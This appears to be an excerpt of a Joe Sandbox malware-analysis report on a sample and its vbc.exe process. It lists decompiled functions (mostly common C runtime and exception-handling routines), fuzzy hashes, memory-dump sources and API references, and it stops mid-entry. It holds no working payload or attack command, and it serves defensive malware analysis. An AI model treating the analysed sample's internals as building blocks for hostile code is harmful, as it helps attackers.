Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 7db795ce3d960102eb00c3caa2efc431b504445cc95649dc4622c5f7ef45a348
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 4311807240414EBBCF125F84CC01CEE3F73BB18356B58841AFA1858170C33ACAB2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 00412810 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00412810(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x425190);
				E00414CEC(__ebx, __edi, __esi);
				_t28 = E004157B1(__ebx, __edx, __edi, _t30);
				_t13 =  *0x44a100; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E004141F4(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x44a1e8; // 0x23610f8
					 *((intOrPtr*)(_t29 - 0x1c)) = E004127D2(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E0041287A();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E004157B1(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E00414F3C(_t25, _t26, 0x20);
				}
				return E00414D31(_t28);
			}

0x00412810
0x00412810
0x00412810
0x00412810
0x00412810
0x00412812
0x00412817
0x00412821
0x00412823
0x0041282b
0x0041284f
0x00412851
0x00412857
0x0041285b
0x0041285e
0x00412869
0x0041286c
0x00412873
0x0041282d
0x0041282d
0x00412831
0x00000000
0x00412833
0x00412838
0x00412838
0x00412831
0x0041283d
0x00412841
0x00412846
0x0041284e

APIs

__getptd.LIBCMT ref: 0041281C

Part of subcall function 004157B1: __getptd_noexit.LIBCMT ref: 004157B4
Part of subcall function 004157B1: __amsg_exit.LIBCMT ref: 004157C1

__getptd.LIBCMT ref: 00412833
__amsg_exit.LIBCMT ref: 00412841
__lock.LIBCMT ref: 00412851

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 5754c6a23f9f5fd1551ea721128c220de7b2da33cc3de3b2281013d6823c6a2d
Instruction ID: 77b329beaf0f05fa249e9503b4a4ab019fe9705d6c2778e67ffa259aff3bce1a
Opcode Fuzzy Hash: 5754c6a23f9f5fd1551ea721128c220de7b2da33cc3de3b2281013d6823c6a2d
Instruction Fuzzy Hash: C6F09036940B40CBD720BBA6D5077DE72A06B40728F10421FE450A73D2CBBC99D1CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00409E20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00409E20(void* __ebx, char __ecx, void* __edi, void* __esi, char _a4, signed short _a8) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				intOrPtr _t20;
				intOrPtr _t32;

				_t44 = __esi;
				_t43 = __edi;
				_t30 = __ebx;
				_v12 = __ecx;
				_t2 =  &_v12; // 0x403173
				_t20 =  *_t2;
				_t32 =  *0x421dd4; // 0xffffffff
				_t4 =  &_a4; // 0x403173
				_t45 = _t32 -  *((intOrPtr*)(_t20 + 0x14)) -  *_t4;
				if(_t32 -  *((intOrPtr*)(_t20 + 0x14)) <=  *_t4) {
					E0040CCC6(__ebx, __edi, __esi, _t45);
				}
				_t46 = _a4;
				if(_a4 > 0) {
					_v8 =  *((intOrPtr*)(_v12 + 0x14)) + _a4;
					if((E00409FA0(_t30, _v12, _t43, _t44, _t46, _v8, 0) & 0x000000ff) != 0) {
						E0040A2C0(_v12,  *((intOrPtr*)(_v12 + 0x14)), _a4, _a8 & 0x0000ffff);
						E00409F40(_v12, _v8);
					}
				}
				return _v12;
			}

0x00409e20
0x00409e20
0x00409e20
0x00409e26
0x00409e29
0x00409e29
0x00409e2c
0x00409e35
0x00409e35
0x00409e38
0x00409e3a
0x00409e3a
0x00409e3f
0x00409e43
0x00409e4e
0x00409e64
0x00409e79
0x00409e85
0x00409e85
0x00409e64
0x00409e90

APIs

std::_String_base::_Xlen.LIBCPMT ref: 00409E3A

Part of subcall function 0040CCC6: __EH_prolog3.LIBCMT ref: 0040CCCD
Part of subcall function 0040CCC6: std::bad_exception::bad_exception.LIBCMT ref: 0040CCEA
Part of subcall function 0040CCC6: __CxxThrowException@8.LIBCMT ref: 0040CCF8

Strings

s1@, xrefs: 00409E29
s1@, xrefs: 00409E35

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: Exception@8H_prolog3String_base::_ThrowXlenstd::_std::bad_exception::bad_exception
String ID: s1@$s1@
API String ID: 4236686690-509555147
Opcode ID: 138f55abf59e4880bb14fec857759a8b59b8e1772bf9abd3369a7d7f0f6fdf6b
Instruction ID: 98c221c19ea7b55b745d8ef3df78f828ac1299eefa7adeab0d815bbcdb061576
Opcode Fuzzy Hash: 138f55abf59e4880bb14fec857759a8b59b8e1772bf9abd3369a7d7f0f6fdf6b
Instruction Fuzzy Hash: 97010475904108EBCB08DF95D5919AE7B75EF44300F1081A9F845AB385CB34AE81CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410D7D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00410D7D(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E0040DB6A(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E004157B1(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E004157B1(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E0040DB43(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E00410B02(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x00410d7d
0x00410d7d
0x00410d7d
0x00410d7d
0x00410d7d
0x00410d80
0x00410d86
0x00410d94
0x00410d9a
0x00410da2
0x00410dae
0x00410db6
0x00410dbe
0x00410dd2
0x00410dd4
0x00410dd8
0x00410ddd
0x00410de3
0x00410de5
0x00410de7
0x00410dea
0x00000000
0x00410df1
0x00410de5
0x00410dd8
0x00410dd2
0x00410dbe
0x00410df2

APIs

Part of subcall function 0040DB6A: __getptd.LIBCMT ref: 0040DB70
Part of subcall function 0040DB6A: __getptd.LIBCMT ref: 0040DB80

__getptd.LIBCMT ref: 00410D8C

Part of subcall function 004157B1: __getptd_noexit.LIBCMT ref: 004157B4
Part of subcall function 004157B1: __amsg_exit.LIBCMT ref: 004157C1

__getptd.LIBCMT ref: 00410D9A

Strings

csm, xrefs: 00410DA8

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 41f14cb5be0975955df8b204dcfba2ce5cf0420897b44deb757d1e429693ce68
Instruction ID: 3fa9051a795c27a41495c9bf0b9fa0dcf2d8f929fd3dd687512395fd6df84f74
Opcode Fuzzy Hash: 41f14cb5be0975955df8b204dcfba2ce5cf0420897b44deb757d1e429693ce68
Instruction Fuzzy Hash: 3D014B34801615CBCF349FA5E441AEEB7B6AF10315F68842FE44066792CBB8A9C5CB49

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exePID: 46372, Parent PID: 6040COMMON

Executed Functions

Function 0A1CE3E8 Relevance: 4.1, Strings: 3, Instructions: 390COMMON

Download Yara Rule

Strings

0\;, xrefs: 0A1CE5A4
tR;, xrefs: 0A1CE4F9
0\;, xrefs: 0A1CE58E

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID: 0\;$0\;$tR;
API String ID: 0-3934529962
Opcode ID: c2a4e5a8346dcf936b4c65baf18afd716118fff2618af95fc1035492d801d762
Instruction ID: 09ec58eb6f8abd5a91122ada7277ca1ac2735d0e13f65b9e80360b27ab2df431
Opcode Fuzzy Hash: c2a4e5a8346dcf936b4c65baf18afd716118fff2618af95fc1035492d801d762
Instruction Fuzzy Hash: 95125B74E052288FDB64DF64C890BDDBBB2BB89304F1081EAD509AB750EB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 050608FA Relevance: .5, Instructions: 503COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1586134695c407829a246957e83696f3e9a4ff7d643363c0d2eabaf7cfa8e54
Instruction ID: 6001c2ab6e40aa7ff4a21a1da8d7f7785e6ed63deb361bc73178f94fa29a3289
Opcode Fuzzy Hash: b1586134695c407829a246957e83696f3e9a4ff7d643363c0d2eabaf7cfa8e54
Instruction Fuzzy Hash: 45220374905228DFDB65DF60D958BD9BBB2FF4A304F0090E9D509AB2A0DB35AE85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0A1CDBE0 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2db6dea2bb563c17991ff9c2e0eb2082966dae61260f268626dcd70da7a12e9e
Instruction ID: 32999b7e42c608eaa5797617abb053ae4036be598045b9ecc215e6e4cdf95309
Opcode Fuzzy Hash: 2db6dea2bb563c17991ff9c2e0eb2082966dae61260f268626dcd70da7a12e9e
Instruction Fuzzy Hash: 5FE1D574E052288FDB68DFA5D840BDDBBB2BF89304F1081AAC549AB750DB349E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0A1CED10 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c2cd66c25bc1043c61d6c3ae8768f646aa489479569817c7a1198cacd45bf63
Instruction ID: 2cf1932ee5e5cb47ff3e35d285239b5caeca2729a18bc4feb4d6166ecf86b9eb
Opcode Fuzzy Hash: 1c2cd66c25bc1043c61d6c3ae8768f646aa489479569817c7a1198cacd45bf63
Instruction Fuzzy Hash: CE91DF74E01218DFDB18CFA9D584ADDBBB2FF89345F208469E409AB350DB35A986CF40

Uniqueness

Uniqueness Score: -1.00%

Function 05069378 Relevance: 2.0, Instructions: 1973COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1cb69be6c60271852a40a2280e4750a2db340a212e6db8b19eeb03e2212d4c
Instruction ID: 35d2014e649d1e1aa82c174aa93c6266a0bb609e477752809e51a85c42a77213
Opcode Fuzzy Hash: bd1cb69be6c60271852a40a2280e4750a2db340a212e6db8b19eeb03e2212d4c
Instruction Fuzzy Hash: 2213DB7894120CEFCB179B74D45199AB732FF9930EB1084AADC1127B958B3F8992DE06

Uniqueness

Uniqueness Score: -1.00%

Function 0B660668 Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

8^Pl, xrefs: 0B66077E

Memory Dump Source

Source File: 00000002.00000002.507518216.000000000B660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b660000_vbc.jbxd

Similarity

API ID:
String ID: 8^Pl
API String ID: 0-2353429711
Opcode ID: 8026cdcb6675eb8681e2a2eb027fe5ae32912b9d8b1e883471652d1f33e2f369
Instruction ID: b1fdedbdfadd5acf6aaf1f1284f0031af6907a5c97b7e4f97166219f67c14350
Opcode Fuzzy Hash: 8026cdcb6675eb8681e2a2eb027fe5ae32912b9d8b1e883471652d1f33e2f369
Instruction Fuzzy Hash: 9B512470E052088FDB18DFA4D994AEDBBB2EF89318F148029D419AB364DB35AC46CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0B660678 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

8^Pl, xrefs: 0B66077E

Memory Dump Source

Source File: 00000002.00000002.507518216.000000000B660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b660000_vbc.jbxd

Similarity

API ID:
String ID: 8^Pl
API String ID: 0-2353429711
Opcode ID: 52d55935d20c71f699feffe2f9a27ef382e74f8f35f687909b6003882d20eb3f
Instruction ID: 8f3ec3cee024861134d550eaace091c5e0d7ec056d0ac698120e75ceec0a267f
Opcode Fuzzy Hash: 52d55935d20c71f699feffe2f9a27ef382e74f8f35f687909b6003882d20eb3f
Instruction Fuzzy Hash: D3510470E052088FDB18DFA4D994AEDFBB2EF89318F108069D419AB364DB35AC46CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0A1CE162 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

8^Pl, xrefs: 0A1CE1A6

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID: 8^Pl
API String ID: 0-2353429711
Opcode ID: 74c0ce41f52422cafd93409aa6547d9a817663e2b21befb6a164e12a2fe3e349
Instruction ID: 5808843653301c0a6ea6611fdfbb0f30eef0b358fda9f31cff54e27b28dc1bef
Opcode Fuzzy Hash: 74c0ce41f52422cafd93409aa6547d9a817663e2b21befb6a164e12a2fe3e349
Instruction Fuzzy Hash: E611E275E002188FCB14DFA8D954AEEBBB1EF89300F1141AAD515B7390DB305E05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0A1CE170 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

8^Pl, xrefs: 0A1CE1A6

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID: 8^Pl
API String ID: 0-2353429711
Opcode ID: 435d28cc3fb11fddcc827cf6ec2372e5c3e632244edd0c4f8cded4052469bf1a
Instruction ID: 02faf30f3a6261add9de6137570c72e6e1434dc697d2a0f85b403315da02bdba
Opcode Fuzzy Hash: 435d28cc3fb11fddcc827cf6ec2372e5c3e632244edd0c4f8cded4052469bf1a
Instruction Fuzzy Hash: EC11E075E001188BCB04EFA8D954AEEBBF1EF89300F1081AAD515B7390DB316E00CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0506EE40 Relevance: .3, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 456e16e01ed6b1c437658b3ea6b75c8b7a7cc0b94f9003914ede4a32064eaada
Instruction ID: e7a54346114e2c3da84742f67a56624cdfdb3a3b1ae93d559aff329f68bbce4b
Opcode Fuzzy Hash: 456e16e01ed6b1c437658b3ea6b75c8b7a7cc0b94f9003914ede4a32064eaada
Instruction Fuzzy Hash: 98E11C34A0020ADFDB14DF65E894A9EBBB2FF88314F158468E9169B764DB34EC41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0506FB30 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c0813b0c0c6b4baf2f5752c9e576d50ccec1918f782744a152b37fef9e9f294
Instruction ID: dd624012448f8d4cdb58bdcb87104023f95828f2bee93eef2f9c9c603d9b9859
Opcode Fuzzy Hash: 3c0813b0c0c6b4baf2f5752c9e576d50ccec1918f782744a152b37fef9e9f294
Instruction Fuzzy Hash: EFC15C34B042099FDB14DF74E8A4AAEBBF6EF89304F104069E906EB395DB349D45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0A1CF798 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fba2db3aa7d01ad70d3ca47d96b2fbe653199d9d2a04cbb8b91343908aa7f98f
Instruction ID: 25910cc6cd09308014dbea916c497289878f3cd9fd4b9c32f54aa05c37d3bb73
Opcode Fuzzy Hash: fba2db3aa7d01ad70d3ca47d96b2fbe653199d9d2a04cbb8b91343908aa7f98f
Instruction Fuzzy Hash: DBF1C874A01228DFDB69CF64D958BDCBBB2BF49305F0080EAD44AA7250EB359E85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0506EE32 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cc7243e0dcbbb73bb0457d2159fbfcba9fb6c098568059972f19afd2b40163f
Instruction ID: c947fad4787f9227c10e123086412423b6cd0a51f3d1b794a853be639123f978
Opcode Fuzzy Hash: 1cc7243e0dcbbb73bb0457d2159fbfcba9fb6c098568059972f19afd2b40163f
Instruction Fuzzy Hash: 2081F634A0120ADFCB14DF65E49899EBBF2FF88354B158569E816AB364DB34EC41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05062ED8 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d33656f604129531e03f39743a1ca36fd59ecb8e893e96555af4361be786e4d3
Instruction ID: 1dc9fda22b6d06b06b71d6fb5ffea779429e22cdc1df64f4d717961a47482d59
Opcode Fuzzy Hash: d33656f604129531e03f39743a1ca36fd59ecb8e893e96555af4361be786e4d3
Instruction Fuzzy Hash: D8616D30901208CFCB14EFB8E8549DDBBB6FF8A316B20896DE455B7290DF359845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 05062EE8 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df39a1c9689379a8aa488881aee95accced90332b5871149e1b8542266c68570
Instruction ID: 28b6f80d30a02bc963450d83be5d82b87a2e259bd7bfab25093a99c8c12838be
Opcode Fuzzy Hash: df39a1c9689379a8aa488881aee95accced90332b5871149e1b8542266c68570
Instruction Fuzzy Hash: A4615D30901208CFCB14EFB8E8449EDBBB6FF8A315B60896DE41577290DF359885CB92

Uniqueness

Uniqueness Score: -1.00%

Function 05067248 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57f16dc5eba83d31a769cd5d57bfbdcca7a4a6e12ecf0576be402b8380ec4b5b
Instruction ID: 9edae897ad839109c0a3aa8479733d76548c60bb0e3561e750e494285a1e622e
Opcode Fuzzy Hash: 57f16dc5eba83d31a769cd5d57bfbdcca7a4a6e12ecf0576be402b8380ec4b5b
Instruction Fuzzy Hash: 9E51D535B042119FEB14DB34D414AAD7BF2EF86318F24846AE946DB381DB34EC42CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0506E0D0 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c286af4dd8e5a1df841f2a6fefecd6b8919f305f1506bd6aa96ab9451373143
Instruction ID: 75837072efb1e70f53910b11832ecad02d180ec4293184ee6f3c15bc395075fa
Opcode Fuzzy Hash: 8c286af4dd8e5a1df841f2a6fefecd6b8919f305f1506bd6aa96ab9451373143
Instruction Fuzzy Hash: B651E934A00219EFCF14DFA4E894DAEBBB6FF88344F148029E912A7360DB349D45DB91

Uniqueness

Uniqueness Score: -1.00%

Function 050628C9 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfd716818893998691a07fb21d0a78ce8081127ff0a1cd15ab453c70da624212
Instruction ID: 7cb09a65c46df9cd4beacdd27d16c4671f325eb52248b915d3d757bd69916c9d
Opcode Fuzzy Hash: bfd716818893998691a07fb21d0a78ce8081127ff0a1cd15ab453c70da624212
Instruction Fuzzy Hash: C551F774E00208DFCB18DFA5E9945DCBBB2FF89305F608529D815AB314DB396846CF81

Uniqueness

Uniqueness Score: -1.00%

Function 0506F201 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 448ade698325807d9ca00029b37a03af9eb9a692ffe0068a0249058f39a68ea8
Instruction ID: a09d427924d62e6dd61921f7e84100ef8a067164a51caf33f31001546c1c6ecb
Opcode Fuzzy Hash: 448ade698325807d9ca00029b37a03af9eb9a692ffe0068a0249058f39a68ea8
Instruction Fuzzy Hash: 3751D734A01209DFDB14DFA4E998AADBBB2FF48354F158454E916AB364CB35EC41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0506E5C8 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c50fb2ab487d33d70dac56ed00b22aaa83edc17e83eade658d3914da60e9e8
Instruction ID: ab32a02c1aaa7c7db89d10a584661ba2c6ca26219d70289bca65b3b898297008
Opcode Fuzzy Hash: d7c50fb2ab487d33d70dac56ed00b22aaa83edc17e83eade658d3914da60e9e8
Instruction Fuzzy Hash: 7E41A134B042048FD714DB68E458B7FBBF6EB89314F14806AE50ADB390DB359C41CB92

Uniqueness

Uniqueness Score: -1.00%

Function 05065DB7 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5aee941568be33ff92b9395c0aefa71796f7f28f63210c3e26a6dcb4554eca2
Instruction ID: 0dc9e3dad1fb8381ad07854c193b7e744cfdbb69e54b880a250ad3ccbc1c1458
Opcode Fuzzy Hash: d5aee941568be33ff92b9395c0aefa71796f7f28f63210c3e26a6dcb4554eca2
Instruction Fuzzy Hash: 5831F3397000006BF704A775A8A0ABE33EBEFDA14CB10481DEA4297755DE38AC4313E2

Uniqueness

Uniqueness Score: -1.00%

Function 0506B3E8 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe4472a54c9ff6a42e03f382bc13c30cccdf69634841124423cb57001c640292
